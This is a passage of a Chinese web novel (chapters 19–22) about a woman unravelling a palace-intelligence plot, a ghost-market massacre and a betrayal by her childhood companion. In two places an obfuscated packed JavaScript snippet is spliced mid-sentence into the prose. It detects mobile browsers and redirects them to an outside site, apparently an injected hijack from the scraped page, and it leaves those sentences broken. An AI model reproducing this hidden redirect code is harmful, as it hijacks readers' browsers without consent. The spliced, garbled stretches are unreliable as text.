许知非从许云洲身后迈出来:“小女子今年二十有二,恰好不才,有些手艺活,若今日是非要管个闲事呢?” 张缘清沉默片刻,往向案上灯盏:“二十二岁……我二十二岁时,还在幽燕做小兵呢。”他叹息摇头,“今晚的新货,是一匣关于军器监的就档,没什么有用的,最后一簿夹层里还有一张字条,皇城司的印,写着‘旧牒已废,毋劳再勘。’” 许云洲眼中闪过一瞬了然,像早就知道会有这样的事情发生,神色微暗:“皇城司的旧档,居然被卖给了辽人……楼主也知道谁是卖家?” 许知非悄悄观察着,内室砖墙后面,水轮转声更响了些,张缘清摇头道:“逍咄罗的每一笔账我都派人查过,拿来的东西都是从销毁或废弃变卖的路子里出来的,这样是找不到主子身上的,报官抓几个仆从又不是那么回事,明显的替罪羊啊。” 许知非扮作不明白:“你们在说什么?销毁什么?是风月楼起火的事?” 郢六娘尖细的手指点了点下巴:“风月楼的火着实奇怪,怎会只死了个女子?这安排、手段,该说他善呢?还是不善呢?” 许云洲摇头:“从来没有善不善,这里面,只有利弊之间的权衡,死太多人对他不利。” “谁?”许知非紧紧盯着他的脸,想从他的神情里看出内里藏的东西,他说没有善与不善,那他自己呢?也是这样吗? 张缘清把那张货单放在案上,像是有百般无奈,有些垂头丧气:“是逍咄罗,那天夜里,他的几个亲卫抓了一个老妇出城,梁门那边的暗哨……看见了,早些时候出城的驳船,正是逍咄罗的船,至于背后有谁,我们不清楚。” “只死了个女子,官府的态度,可想而知。”郢六娘冷笑,身子扭了个弧度,显得更加妖媚了些,拉了张椅子,不坐,歪歪倚着,“就算发现事关辽人,就他们那德行,也多半大事化小,保住饭碗才是他们真正想要的。” “加上岑掌柜早已是个弃子……风月楼烧的是……”许知非说着,忽然眼中一亮,看向许云洲,得了个赞许的眼神,但他即刻假装打哈欠,手指动作是示意她别说。 “看来这件事真的不是我能管的,罢了,左右我家哥哥无碍,我昨晚逛个街没想到也算帮了个大忙,还请楼主送我出去。” 张缘清手一挥,瞥向郢六娘:“送客,派人去查,把那三十斤火药的来处、去处,都找出来。” 郢六娘直起身子,屈膝一礼,起身后侧开一步:“请吧,许公子……妹妹。” 两人走到门口时,张缘清又道:“许公子,花火节宫宴后,我们再见,我去寻你。” 许云洲眼睫低垂,没回头,目光落在地面上:“好啊,张楼主若是食言,许某是会伤心的。” 他说得诡异,好像知道会发生什么,而那天晚上,张缘清就死了。 他们跟着郢六娘往西北方向走,很长的甬道,像是有特定的符号或印记,郢六娘带头辨识,守卫出没的门洞都是不能进的。 她说出口在梁门大街附近,但不知怎么,他们走了一段路之后,竟绕回了那个十二扇门的圆形石室里。 “有人改了路向。”郢六娘站在石室最中间,目光扫过每一个门洞。 许知非有些头疼,看过那些门洞,闭了闭眼:“生门关了,死门是来路,许云洲,现在,你又知道多少?” 19. 不退 许知非毫不掩饰地质问他,自己也有些心惊,捅穿了某些窗户纸,会发生什么她自己也不知道。 许云洲眼中一片烟雨,睫毛微微颤了一下,有些看不清的东西藏在那片雨雾深处,许知非想后退,脚下微微挪了一下,他眼神跟着一厉,那是要瞬间把她抓回来的反应。 “……我知道有你才有生路。”他声音沙哑,低得几近模糊。 许知非打量着他,如果不是有什么间谍方面的理由,那这人妥妥就是有心病,她蹙眉道:“你从一开始就知道会发生什么,是你安排了这些事……至少……很大一部分,且让事情一步步……按你的意思发展下去,然后达到你的目的。我不算聪明,但也不至于蠢到看不出来你有什么古怪,你说有我才有生路,那就是说,这事要是办不成,你会死?” “……不全对,但差不多……不过现在,”许云洲略扫了一眼这个空室,“我不大知道怎么回事,但我知道一点,我们必须活着出去。” 他话音刚落,数支铁箭从他身后最近的一个门洞破空而出。 他把许知非推到一边,自己顺势侧开,冷眼看着那些箭一一擦过自己扬起的发梢,神情平静,动作熟练。 郢六娘慌忙躲闪,那些箭全都撞在砖墙上,噼啪落地,她足尖一点,掠入铁箭来路的门洞,门里甬道传出打斗声。 “看来这次你说的是真的。” 各处声响凌乱无序,有脚步声,有机括声,很快,每个门洞里都冲出了数量不等的蒙面人。 她正慌着准备躲闪,那些人却全都冲向了许云洲,一人低吼道:“让他留在这里!” 那人生着一双半开的眼睛,看着像眼肌无力的患者,领头的横架一刀,迎面扫向许云洲的脸。 许云洲面不改色,仰倒一脚将他踢翻,自己跌倒后转瞬爬起,动作狼狈却顺畅,紧接着像是瞎了一样,直接撞进那些蒙面人的包围圈。 他喘着气,眼神却是在判断这些人的来历和动机,一一扫过他们。 许知非正想着该不该救,怎么救,张缘清带人从刚才的“死门”里冲出来:“大胆贼人,竟敢在我的地盘闹事!” 领头的蒙面人转向他:“张楼主,没知会你是因着此事与你无关,你若多管闲事,那卑职也只好失礼了!” “闲事?”张缘清冷笑,“尔等踏入此地,换我路向标记,探我鬼市机密,竟敢说这是闲事,你们这是根本不把我们放在眼里!” “张楼主,鬼市能存在,你以为凭的是你的本事吗?”领头的蒙面人走向张缘清,手上刀锋转向,“识相的就退回去,好好捞你的偏门,还没轮到你报效的时候。” 许云洲站在包围圈里,还是一副理所当然的样子,背着琴,闲闲看着那些包围他的人,仿佛眼前不是刺客,而是些寻常物件,没什么值得大惊小怪的,多一点情绪都是浪费。 张缘清大怒:“这里也还没轮到你撒野!”他拎起手里的铁棍,带头往前冲。 十余蒙面人挥刀相迎,许知非退到墙边,虽是庆幸,但古怪在没有人关注她?这是又不值钱了?还是说……他们认不得她? 许云洲忽然对她笑了一下,趁着乱斗的一瞬冲进离他最近的一个门洞。 几个蒙面人追了上去,张缘清带着守卫和几个女子,突破了蒙面人的包围。 郢六娘握着小刀从刚才那条暗道里跑出来,正好跟上他们。 所有人冲进了许云洲逃离的那个门,许知非一个人留在了原地。 “乾?”她小心翼翼,跟过去,听见门洞里传来兵器猛烈碰撞和纷乱的打斗声,紧接着,是接连不断的惨叫,甚至还带着骨头断裂的声音,非常清晰。 她沿着暗道一直往前,转过了两个弯,眼前出现一间石室,她第一眼就看见了张缘清死不瞑目的样子,高大魁梧的人就那样倒在血泊里,背后一刀,从左向右,斜向下,颈侧一刀,深度……直接切断半侧颈动脉和气管,而他周围全是蒙面人的尸骸,还有几个衣裙艳丽的女子倒在其中,同样已没了呼吸。 许云洲跌坐在地,身上衣袍也染了血,但不多,郢六娘手里握着两把短刀,两侧刀尖都还滴着血。 地上蒙面人尸首伤口都极其干脆,边缘光整,创角锐利,深浅一致,手法力道精准,毫无犹疑,而握刀的人当时只有郢六娘。 有些尸首姿态怪异,四肢扭转变形,她那时没有想过会是许云洲干的,毕竟,他坐在地上,手无寸铁,只是背着的琴已经歪歪斜斜倒在地上,布罩散开,他眉头紧锁,极厌恶般看着眼前景象,所以她一直以为这都是张缘清的手笔。 “他们是什么人?”她走近他,轻声问道。 郢六娘忽然转过脸来:“一定是官府的人,”她猛地看向许云洲,“定是你!你是故意跑来这里的!是你害了楼主!是你!” 许云洲抬眼看她,那种厌恶的神情转瞬散尽:“六娘,没有证据的事,不能乱说。”他语气平静,好像只是在聊个闲天,满地血迹尸首衬着他那种平静,许知非也觉得有些毛骨悚然。 “呵,证据?证据就是她!”郢六娘转向许知非,“你到底是谁?!你们串通了要毁掉这里对不对?!”她笑起来,眼里满是绝望,“我就知道,朝堂里没一个好东西!可楼主不听,说给你们方便,助你们成事,为你们排忧解难,我们的日子便也会好过些,可到头来……”她走到张缘清的尸首旁,重重跪下,抬手抚过他瞠大的双眼,“……到头来……却都是不得好死的下场。” 许云洲站起来,去收拾自己的琴,把布套盖好,又背在了身上:“六娘,你现在有两条路,一,找到火药,救回鬼市,二,寻我们的仇,然后看着鬼市跟我们一起死。” 他拉起许知非的手,从她面前走过,进了石室另一侧的小门。 郢六娘没有追上来,他们沿着门后甬道一直走,他一声不吭,回到地面上,是在梁门大街一个药铺里。 药铺掌柜是个高胖妇人,看见许云洲时脸色都白了,上前道:“许公子,您这是……打哪儿来啊?” 许云洲温和笑道:“你这里是乾卦,不是人走的路,你说呢?” 他没等那个妇人回答,带许知非大步离开,门外,夜市兴旺,刚才那个地方,好像根本就是另一个世界。 “皇城司旧档被人卖了,你不急着去禀报?” “那是关于你家的旧档,夹层里的字条是我放进去的。” 许知非一下停住,看着他,一时竟说不出话来。 许云洲随她停下:“你的事,不算什么秘密,但你还要继续演下去,把它当作秘密,不论你面前的人知道还是不知道,你都必须演下去。” “不然呢?” “不然你就没有活着价值了。” “你会杀了我?” 耳边剩下街市喧嚷,许云洲看着她,不说话,她又再逼他:“我要是说,从现在起,我只按自己的意思来呢?不受控制的棋子,你还留吗?” “你想过你的每一个反应都在我的计算之内吗?”他忽然一笑,“你想怎样就怎样,毕竟我何时胁迫过你呢?都是你选的,不是吗?”他俯身把脸凑到她面前,饶有兴致地端详她的表情,像在看什么好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你着女装前往,那人却能知道是你,说明很确定你的身份,而确定你的身份,便知道你的身世,你觉得呢?” “我的身世……”她再次停步,“我家案发时,我还是七岁的孩子,就算有什么,也与我无关,他们非要我死,那就说明,那桩案子确实另有隐情。” “想查吗?” “我已无路可退。” “是你自己选的。”许云洲抬手扳着她的肩往前走,“不论我有什么目的,”他低头看她,还是那副人面兽心的模样,“我确实帮了你。” 许知非目光冷下去,回以一个没有温度的笑:“许先生说的有理。” 他终于稍稍愣了一下,她捕捉到了那一瞬间,只是在下一刻,他像是来了兴致,忽然凑到她耳边,低声道:“那坊主要想着谢我才好。” 青禾是在那时候出现的,手里提着酒坛子,背上背着一个大水囊,背带勒紧了肩上衣料,看得出有些重量。 他迎面走来,把那个水囊甩在许云洲身上,斥道:“许先生带着小小姐来这里,我家坊主可知道?!” …… 许云洲倚在床边调琴,指尖勾出一些音韵,有一下没一下,看起来不着急也不担心。 许知非坐在书案旁,目光落在那把琴上,她静静回想这些日子以来自己仍记得的一些事,两个多月了,可还有很多事情没搞清楚,青禾那晚好像很生气,难道是怪她没有与他商量?可她不是那个许知非啊,该怎么说呢? 木楼梯上传来脚步声,凌乱无序,却都是沉稳有力的步调,除了一个,有些拖沓,跌撞,不情愿,是被推搡而来。 许云洲把琴放在桌上,正了正自己略显散乱的衣袍,左侧手臂伤口灼痛,动作间,他微微皱了一下眉。 那药是许知非亲手配的,她略瞟了一眼,知道他死不了。 最先进门的是林修,而他身后,两个粗麻短打的伙计把一身黑衣的青禾押跪在地。 “公子,人已抓获,若属下没认错,这是酒坊的账房,沈青禾。” 20. 命好 “青禾?”许知非站起来,走向他。 那一身黑衣与他平日里素净的打扮判若两人,他抬眼的一瞬更是吓了她一跳,不甘、愤怒,揉成一团砸在她身上。 她又靠近了一点,不敢相信这是原身自幼相伴的那个人。 那些记忆里,他认真爽朗,做事为人一向稳妥,这一身黑衣,还有刚刚窜上房檐的身手,怎么可能? “你说清楚,青禾……我信你。”她低声说着,完全怀疑自己。 青禾睨着许云洲:“知非,他会害死你,你必须……”他目光转向许知非,眼底红透,“你必须离他远些,是他把里行引来的,他是皇城司的副使,官家手里最冷血的刽子手,他接近你定有不可告人的目的!” “居然是皇城司……吗?”她看向许云洲,很平静,跟她猜想的大差不差,只是她没想过会是皇城司那样的地方。 许云洲也看着她,没说话,那样子是不打算回答。 “他说……就让司马光的人在明处不断地逼你,而他们在暗处看着,看你会往哪里寻觅,会惊动哪些藏在深处的人……你越痛苦,对他越有利!而你根本找不到第二条活路,只有他!”青禾用力挣了一下,两个察子将他双手反剪,押得更牢了些。 许知非又再问道:“副使大人可有什么要说的?” “没有,句句属实,无可辩驳。”许云洲面不改色,淡淡答道。 许知非嗤笑,目光扫过整个房间,他不在这里已有半个月,但这个房间她从未让人动过。 林修依旧是那副机械似的表情,愣愣地却有一大堆想法。 她拉了张椅子坐下,抱臂看了看那两个白日里还是跑堂伙计的皇城司察子,自嘲道:“我命真好啊,小小的酒坊居然这么热闹。” “知非,他们都是为了许家的旧案来的,你不能信他们!他们不会让你有翻案的机会!我们在他们眼里就像临时物件,用够了,就扔掉。”青禾的脸几乎被按到地板上,他用力抵着,试图抬起头来,竭力压低了声音,防着还有屋外的人听见,又想让许知非听清,声音就像狗在低吼。 “各位大人,青禾就算偷听了些话,但怎么说也不至于有什么大罪吧?还请手下留情。”她垂眸冷语,青禾的发梢已拖在了地上,那一身黑衣一点都不适合他,她不想多看一眼,怕再看一会会生出各种先入为主的判断,这是原身的世界,不是她的。 余光里,许云洲的袍摆动了一下,靴尖转向她:“虹桥是他带人凿断的,花火节死的那些人,是他安排的时间、位置,我若不下狠手,他到今日便也还藏着,知非,我也想过,可能不是他,这个结果非我所愿。”他语气平淡,像在跟她说今天的天气。 许知非默默警觉,眼睫颤了颤,姿态不动:“青禾,你说。” 回答她的是粗重的呼吸声,接着,是吞吞吐吐的几个字:“知非,他……” “他见过周铎,在风月楼,沽酒,上过三楼,他自己说的。”林修开了口,没有语气,一字是一字。 风月楼起火第二天,雷捕头来时,青禾确实说过,可他说的是沽酒的时候趁着闲暇……而他现在看起来像是不确定,又像是不敢说…… 她看向林修:“他也许只是闲逛,如何证明就是见了周铎?你们亲眼看见了?” 不论传言还是事实,摆在眼前的是:官府的人不能轻信。 许云洲道:“钱员外的案子,是在回春堂伙计那里断的,按官府告示,那个伙计分几日卖出的就是炼毒的方子,鬼市弄丢的,是金枫露成品,那中间就差这炼药之人。郢六娘当时就已认了,她也找到了火药藏匿之处,算戴罪立功,她确实不知这金枫露用在了何处,但沈青禾……” 许知非抬头看他,背往后倒,靠在倚背上:“所以你断定药铺无罪,那个伙计知不知情且待查证,我猜,你早就把人看好了,安插了皇城司自己的人在牢里,就像我被抓时一样。郢六娘,私炼异毒,但盗取毒物的是主谋是逍咄罗,杀钱员外的是他,毒死女颭灭口,烧掉风月楼姑且猜测是毁灭证据,且想要我一起死的,可能是他,也可能是通辽的某些人。许云洲我警告你,不论是谁,跟青禾有什么关系?你们抓不到那些罪证,就又想拉青禾顶罪不成?我断不会受你威胁,便是掀了汴京城闹到官家面前我这话也一样。” 许云洲走近她,右手撑在她肩侧:“坊主可记得,岑掌柜的小账里,周铎宴请辽商是在哪一天?” 林修冷冷抢道:“正月十八。” 许云洲神色不改,左手动作有些迟滞,握住椅背时有些发颤,俯身将她圈在身前:“沈青禾那个月是哪天去风月楼沽的酒?” 正月?许知非怔住,那是原身的事,她根本不知道,她不知道的事情太多了,可如今先是要活下去,她根本没机会去知道……青禾此时一声不吭,低着头,已然没了反抗,到底怎么回事。 她猛地推开他,一下站起来:“青禾,你自己说,我们是一起长大的,只要你说,我就信。” 许云洲没有给他开口的隅隙,站定后嘴角勾着笑,话里像带着些许惋惜:“旧党以为皇城司倒向王安石,在各处做手脚,他则以为这样便能与我对抗,给我找事,让我远远的离开,一切都能好起来,但沈青禾,你知不知道……”他走到他面前蹲下,只手掐起他的脸,强行令他抬头,“逍咄罗要许知非死,周铎也是,而司马君实,他不在乎她死了还是逃了,还有王安石……呵……我若不在这里,是什么结果,想来你这几日也看到了,里行得到机会,发现了知非藏的罪证,下一瞬便能堂而皇之地走进来……没我,你、她、春风酒幡,都不再是汴京城里需要的存在,今晚,周铎的人和皇城司的人都不在,你看你还逃得掉吗?” 青禾猛地甩头,一下挣脱了他的钳制:“不可能,周大人说你背后有数不清的贪官污吏,必要让你掀不起浪来,才能保住春风酒幡和知非,否则……” “沈青禾!”许知非打断他,怒气上涌令她头发昏,沈青禾没有否认,这令她始料未及,“你知不知道那些是无辜的人命?!整座桥……还有那些看花火的行人……妇孺老幼都在其中!你怎么能!” 许云洲站起来,居高临下,看着他:“张安那一队厢军出城之后,你持周铎手令引的路,让他们死在了一个偏僻山坳里,还有那些虹桥下的亡魂,也不知夜半梦回时有没有找过你……”他不是问,而是陈述,“姓薛的老妇出城之后,是你动的手,埋了,我,亲手挖出来了。” 许云洲朝林修伸手,从他手里接到一块薛老妇那晚身上所穿的一块衣料,紫色布料彩绣染了血。 他把布料扬到在青禾眼前,从他眉前扫过:“你引知非下桥,又引我找到她,事后却埋伏我,但你没想到我能回来,是不是特别失望?是不是奇怪,怎么没按你的想法走下去?或者,按周铎跟你说好的,我该回不来才对?” “你追我到城外,我迫不得已才设的陷阱,雀鸩是我身上唯一能用的东西,确实是周大人所赐,但我没有要你命的意思,否则,不止这个量。” 他还是没有否认,甚至有些义正严辞的有态度,许知非有些脊背发凉,原身要是知道,会是什么反应? 许云洲笑起来:“好!谢沈先生手下留情。” 门外,赵伯匆匆赶来,身后跟着三个神色惊慌的“伙计”,看来是老人家自己打听到了些事情。 他手里还拿着刚才整理杂物时擦脏的棉布,脚步和声音都有些发颤:“你为什么要这么做?!” 许云洲起身,退开一步,在青禾面前让出了一个位置。 赵伯在青禾面前站住,大喘了几口气,怒道:“你说!这到底是不是真的?!” 许云洲挥退押着青禾的两个察子,稍稍看了许知非一眼,自己又退了半步。 青禾直起身来,依旧不服:“老坊主带我们回到汴京,不就是为了助小坊主查清当年的真相吗?这些年来有谁在意过我们死活?!这酒坊,一砖一瓦,都是老坊主带着我们一手一脚拼出来的,凭什么他动动嘴就能分去?!我们从来无人在意,又何苦处处在意旁人呢?!” 许云洲侧过身,悠悠哉哉倚在桌边,抱手从许知非和赵伯两人之间的间隔里侧目看他:“没我,你这一砖一瓦都得化为乌有。” 林修像是看不下去,开口道:“你不顾百姓死活,与那些只思量考绩簿如何撰写的人有什么区别?” 赵伯的手指满是褶皱,抬手指他:“老坊主这么多年来是怎么教你的?!你竟干出如此伤天害理之事!” 青禾冷笑,看向许云洲:“伤天害理? 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许云洲回来之后便又不知去了哪里,第二天醒来便再没见人,林修倒是还在店里,像个看守,神情冷冰冰的,有大胆的跟他打招呼,他就点个头。 许知非心里多少摸清了这些事跟辽人有关,甚至,原身家破人亡也是辽人的锅,且这口锅,里面还有些宋人,可她不确定许云洲到底想干什么,一个琴师,出入宫宴,拨的却是朝政的弦,够乱的。 “是辽人要我消失……还是……” 她自言自语,把手里的酒勺放下,擦了擦手,转身走进后院那个小门,听见身后喧闹声渐渐远去。 那个水池还用木板盖着,树了牌子提醒人别靠近,池里的水不能随意处置,她站在池边苦恼,没多久,郢六娘就从河边走了进来。 “看来这位就是许坊主了。”她一身普通妇人的打扮,新绿色的粗麻衣料有些难平的褶皱,花色是米白的五瓣小花,许知非看不出是什么花,只知道样式还不错,料子也很好看,但有些显旧,与她偏暗的肤色不大相称,跟那晚在百花楼地宫看见她时绝对是两个风格。 她推开那扇木门时,两侧袖子明显都有些短,但两边短的长度不同,许知非看着她走到自己面前,发觉她摆臂、拨头发的小动作都又细微的僵硬,她不是会紧张的人,是衣服不合身导致的,那绿麻裙不是她自己的…… “你是?”许知非一身男装,知道自己此刻应该不认识她的,认识她的是自己的远亲妹妹,不在这里。 她问她话,警惕着,打量她,微微侧身,后撤半步,神情夸大成一副因长久不出门而见了生人特别紧张的样子。 郢六娘也上下瞧她,眼神半信半疑:“你妹妹能耐不小,竟攀上了许云洲,他在我们鬼市传闻中连人都不是,也不知你们这生意是赚了还是赔了,”她说着便递给她一张纸,上面有密密麻麻的小字,“这是毒方,你这池子里的毒,你自己处理,总归不是我的事,我从没想过把金枫露浪费在这样的地方。”她目光扫过整个院子,表情嫌弃,嘴角扯了一边,好像有什么恶心的东西碍了她的眼。 “许云洲呢?”她接过之后看了看,确实是一个配毒方子。 郢六娘不屑道:“他?贵人处自有花前月下,手里握了我们的把柄,自然琴弹得畅快。”她话锋一转,挑了挑眉,“我没找到火药,他说帮我拖延,官府可以晚些查到鬼市,条件……是我把毒方送到你手里,说时身边还搂了个姑……” “郢六娘,”林修不知从哪里落在她身后,“公子吩咐,若你造谣生事,属下这便将鬼市众人名录记册移交开封府。” 郢六娘脸色白了一瞬,继而沉下去,猛地转身:“你们这些表里不一的东西,花火节便让你们给鬼市陪葬好了。” “公子说了,即便如此,他也能保证鬼市众人先行片瓦不剩。” “你们到底要干什么?!”郢六娘咬牙切齿,像只要疯的狗,瞪着他。 是机会……许知非道:“这位姑娘,若我没想错,辽人,才是我们的敌人,而你所说的火药,我略有耳闻,或许我能帮你查到。” “你?”郢六娘看向她,满是怀疑。 “对,我,”许知非往前一步,看着她的眼睛,“条件是,交个朋友。” 21. 放灯 李崇身着青骊色圆领襕衫等在皇城司衙署内,许云洲进门将身上染血的外袍扔进院子中间的一个火盆里,抬眼便看见他阴沉的脸。 他面不改色,走向他,前往马行街的送货车马从院墙外经过,传来一声鞭响,车轮碾在青石路上的声响节奏明显快起来。 “李大人来得真早。”许云洲语气平淡,对自己身份暴露的事毫不在意,身后火盆里的衣料熊熊燃烧,插在火炭里的铁制刑具烧得发红。 “许副使!你当你瞒得过几日?!儒雅琴师,牵连摸清的关系?!有几个人信?!啊?!”李崇迎面走向他,手指在他眼前。 许云洲不曾眨眼,直直看着他:“李大人,新政颁行在即,在下奉的是皇命,试问有几个人敢不信呢?孙推官?还是赵书吏?亦或是,大人你?” 李崇像噎了一下,喘了几口气,缓过了那股一时上头的火气,开口道:“那个许知非到底是什么人?!别想欺瞒,本官能查到你,定也能查到她。” 许云洲平静道:“军器监丞许文谦遗孤,庆历七年军器监旧案幸存的三岁孩子,李大人早已有所耳闻,此刻又来找我,究竟如何打算?” “真是许文谦?!”李崇双眼瞠大,“陛下查这案子做什么?是有什么纰漏?” “大人不必深究,在下让大人做的,自然是有利于大人的事,除非……”他往前一步,笑了笑,“除非大人自有主张。” 李崇浑身一哆嗦:“许副使言重了,李某不过来问清事由,说过的自会做到,呃……也在此叩谢官家信重。” 他拱手一拜,许云洲端端站着,眼里映出他躬身的脊背:“李大人恪尽职守,虹桥一事还没细究便只能草草收尾,风月楼大火因由尚未查清,州西瓦舍又死了个带有毒疮的女颭,花火节将至,筹备事宜诸多繁琐,如此百忙之中却仍关心我这闲散之人,陛下那里,必有你一份功绩。” 李崇起身,脱口惊呼:“许副使这是何意?!” 林修从门外进来,在许云洲身后站定,接下他脱下的发冠:“公子,郢六娘已去过酒坊,毒方已送到。” 许云洲抬手示意他住口,盯着李崇:“有些事,不知怎的有些不在我掌控之内,西水门外,梁门以西城郊,有一老妇遭人灭口埋尸,我本以为她不会死。” “老妇?”李崇不明白,看向林修。 “那老妇姓薛,风月楼起火当夜,在撷芳阁兜售毒物,有人在火起前将她从水门带出,在下猜测,主谋……或从犯,可能是军中之人。” “许副使可知自己在说什么,军中怎会有人与私售毒物之事牵扯?” 许云洲低下头,林修将早前找到的墨玉扳指递给李崇:“在水门血迹附近发现的。” 李崇接过之后仔细查看,上面的辟邪印记面向他时,他动作微微僵了一瞬:“这……这是……” “李大人,早前说好的,照做就是,若有变,在下自去寻你,别的,按常例。” 李崇将扳指握在手里:“好,许副使莫食言,有什么事大可明处商议,你我自此,不必遮遮掩掩。” 他甩袖离开,将扳指一并带走,林修想去要,许云洲将他拦下:“无碍,是要给他的。” “公子……”林修神情满是担忧,张了张嘴,犹豫一番,终究说道,“若他们发现你是幽燕人,怕会对你不利,那扳指,属下本不想给你。” 许云洲摇头,显然对此事并不在意,只道:“许知非……如何?” 林修双手握拳,脸上终于有了些情绪:“许坊主已看过毒方,确认是池中毒物。” “还有呢?” 林修一愣,迟疑中眼珠转了转:“还有……她要偷偷帮郢六娘找火药,支开了属下……”他忽然想起什么,双眼一亮,又道,“还有,她幼时在杭州落户的旧亲已有线索,但好像……并非仵作之类。” 院子里的火盆火光渐熄,扔进去的衣料已烧得差不多了,许云洲略看了一眼:“去把薛老妇的尸首送进冰窖,派人到义舍看着,那具焦尸别让任何人碰。” …… 他们口中的花火节跟有记载的元宵庆典应该差不多。 节庆降至,入夜后的汴京街巷灯烛璀璨,光耀湮没的是三十斤不足所踪的火药,还有刚刚过去的大大小小……有人知道或没人知道的惨剧。 同样不知所踪的还有许云洲,按说,花火节当日,他是有宫宴要去的…… 天光刚落,沙洲湾热闹起来,往日早该收摊的贩子此时只是挪了位置,往逛花街的路上挤,还不忘相互腾位置。 许知非趁青禾在店里忙得脱不开身时只身离开,郢六娘就等在一家河岸边上的一家小面摊里,浑浊的河水卷来漂浮的莲灯,她乌发半挽,珠钗未改,看着飘摇的灯影出神,遮面的薄纱软软飘动。 “你看,最脏的地方,漂着最单纯的期盼。”她没等她招呼,先开了口。 河水依旧腥臭,菜叶子和各种残渣飘在水面上,许知非在她身边坐下,耳边是河水拍岸的声音,搅在岸边的喧哗不止的人声里,卖灯的明面上客气,话语间几乎打起来。 许知非一身玉白暗绣的男装直裰,镂空发冠插着那枚原身房中自有的玉簪,一副英武男子的模样,心想衬眼前这位姐姐刚刚好。 “干嘛非要放在这里,多走几步,庄重一点,到干净的地方去放,实则也不远。”她略扫了一眼河面,沉着声音,问摊主要了一壶粗茶。 郢六娘回头看她:“你说能帮我,怎么帮?” “你真不知道张楼主为什么会死吗?” “我知道还用求你?” 许知非自斟自饮:“张楼主身上是刀口,当时只你手上有刀。” “你说什么屁话,我怎么可能杀害楼主?!刺客手上的不是刀?!” “我是说,只你手上的刀与伤口吻合……”她停了片刻,观察她的神情,“不过……姑娘不必激动,我只是说说自己的疑惑,以我的身份,不能拿你如何。” 郢六娘冷哼一声:“你知道就好。” 许知非又自己斟了一杯:“我们去找个人,去义舍。” “找死人?” “死人堆里也总有活人出入不是吗?” 义舍灯熄,唯剩几柱香闪着星点红光,老仵作提着花灯正要出门,迎面便遇见了前来寻他的两个人,一男一女,男的他见过,小小酒坊的坊主,手上有威胁他老本行的本事,却无人查办缉拿。 “许坊主又有何事?”他不悦道,右手五指收紧,攥紧了灯笼杆子。 许知非上前一拜:“前些日子给老伯添了麻烦,特来赔罪。” 老仵作一愣,往后退开,侧过身去:“别,回头老朽这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258596|194548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置还得让给你,这礼啊,老东西我受不起。” “小生正为此事而来,老伯可否引我见一见孙推官,只此一次,可保老伯饭碗。” 许知非微微含笑,眼中带光,心有成竹的样子,她不知道本地人会怎么说,反正说了便说了。 郢六娘站在她身后,烟粉色襦裙将她衬得颇像良家女子,姿态动作倾向许知非,一半身子藏在她身后,乍一看倒有些小鸟依人的错觉。 老仵作打量过二人,狐疑道:“你不要老朽这差事?” “老伯在汴京已有几十年,想来也为百姓尽了心力,小生又怎敢轻易逾越?至于舍妹,她刚到京城不久,就更没有这个意思了。只不过事出有因,这世道像是分外难乱,不得已而为之,官府之事本就不是我们想要沾染的。” “那你想做什么?”老仵作沉声道,那双微微泛蓝的眼睛依旧警惕。 她把那一卷辽文与汉文混写的货单递给他:“风月楼未烧尽的纸张、器皿、衣物残片都已在我院子里,那具焦尸想来也还未有眉目,老伯可否一起,请孙推官到我酒坊走一趟?岑掌柜这个时候大概已等得地板烫脚了。” “许云洲让你来的?”老仵作看了一眼她手里的纸,没有拿,依旧防着她,脚下不肯挪动,手里的花灯摇摇晃晃。 许知非想了想:“是,他说来这里找你就可以了,有什么事记在他账上。” 她回头对郢六娘笑了笑,看见她微微勾了嘴角,确实娇羞得到位。 身后,老仵作道:“既如此,老朽便与你走一趟,免得更多些冤假错案。” “更多些?意思是本就不少?”郢六娘讥讽道。 老仵作转身往巷子另一头走去,没有答这话,只道:“这边拐几个弯就到府衙了,孙大人应还忙着,你有什么,与他说就是。” …… 春风酒幡后院门外,岑掌柜背着手转了转去,两个伙计守着门,赵伯恭身站在门前,低眸含笑,一副谁也不得罪的态度。 “赵老头啊,你们家坊主何时回来?说好的东西全送来,五日后给我答复,这过了今夜就第六日了,你们可不能这么做生意啊!我这可是冒着得罪官府的大罪抢下了这么些东西,回头开封府若真办起事儿来,我再拿不出点儿解释,那我可真是小命难保啊!” 赵伯客气道:“岑掌柜稍安勿躁,坊主不在,但已着人去寻了,也不知是不是跟许先生出去了,您要不先进门坐坐?” “不不不不不,我坐着难受,也怕坐出什么旁支差错,就在此处吧,哎……” 岑掌柜叹了口气,双手提起袍摆坐在了河堤边上,脚下一尺余便是河水,过往船只都有人往他身上看,还有交头议论的,指指点点的,过了的也有回头看他来的。 薄夜微寒,河面飘来些莲灯,有人喊道:“岑掌柜!不至于!别想不开啊!” 有人附和:“是啊!都是身外物!” 岑掌柜听不出是哪艘船上来的声音,大声恼道:“去你的!老子这是歇歇腿脚!” 几艘船上都传来笑声,看他的人少了些。 许知非与孙推官沿河走来,两人并肩而行,身后是郢六娘和老仵作。 她远远便看见了那个圆脸掌柜弓腰驼背的身影,脚步不急不慢,走向他。 “岑掌柜,你看我给你带了谁来?” 22. 指教 岑掌柜站起来:“孙……孙大人……” 他有些怯怯地不敢直视,眼睛一直瞟向许知非。 许知非站住之后看了看他,转身去推开后院那扇小门:“诸位里面请,我这本就热闹,再热闹些也无所谓。” 孙推官身着墨蓝常服,在昏灯下显出一脸尴尬,但像是安心于旁人大概看不清楚,并没加以掩饰。 他对岑掌柜摆了个请的姿势,岑掌柜一下曲了膝,躬身哈腰:“您先请您先请。” 孙推官扯了一下嘴角,往前走,老仵作也与岑掌柜客气了一番,继而跟在孙推官身后。 郢六娘在岑掌柜面前停下,她高过他,微微俯身,媚笑如昨:“岑掌柜也有今日,小女子此番也对这世道变数多了些思量。” 岑掌柜即刻昂首:“怎么也比你这样的女人高上三等!” 